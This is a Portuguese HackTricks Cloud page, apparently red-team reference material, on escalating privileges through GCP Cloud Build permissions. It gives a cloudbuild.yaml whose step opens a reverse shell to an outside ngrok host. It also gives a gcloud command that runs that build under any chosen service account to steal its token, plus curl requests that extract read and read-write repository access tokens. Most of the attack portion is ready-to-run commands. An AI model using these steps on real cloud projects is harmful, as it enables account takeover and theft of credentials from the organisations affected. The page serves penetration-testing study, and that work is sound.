GCP - Cloudbuild Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
cloudbuild
Para mais informações sobre o Cloud Build, consulte:
cloudbuild.builds.create
, iam.serviceAccounts.actAs
Com esta permissão, você pode submeter um cloud build. A máquina cloudbuild terá em seu sistema de arquivos por padrão um token da Service Account do cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com
. No entanto, você pode indicar qualquer service account dentro do projeto na configuração do cloudbuild.
Portanto, você pode simplesmente fazer a máquina exfiltrar para o seu servidor o token ou obter um shell reverso dentro dela e conseguir o token (o arquivo contendo o token pode mudar).
Exploração direta via gcloud CLI
1- Crie cloudbuild.yaml
e modifique com os dados do seu listener.
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
2- Faça o upload de uma build simples sem fonte, o arquivo yaml e especifique o SA a ser usado na build:
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
Usando a biblioteca gcloud do python
Você pode encontrar o script de exploit original aqui no GitHub (mas o local de onde está pegando o token não funcionou para mim). Portanto, confira um script para automatizar a criação, exploração e limpeza de um ambiente vulnerável aqui e um script em python para obter um shell reverso dentro da máquina cloudbuild e roubar isso aqui (no código você pode encontrar como especificar outras contas de serviço).
Para uma explicação mais detalhada, visite https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Com esta permissão, o usuário pode obter o token de acesso de leitura usado para acessar o repositório:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
cloudbuild.repositories.accessReadWriteToken
Com esta permissão, o usuário pode obter o token de acesso de leitura e gravação usado para acessar o repositório:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
cloudbuild.connections.fetchLinkableRepositories
Com esta permissão, você pode obter os repositórios aos quais a conexão tem acesso:
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.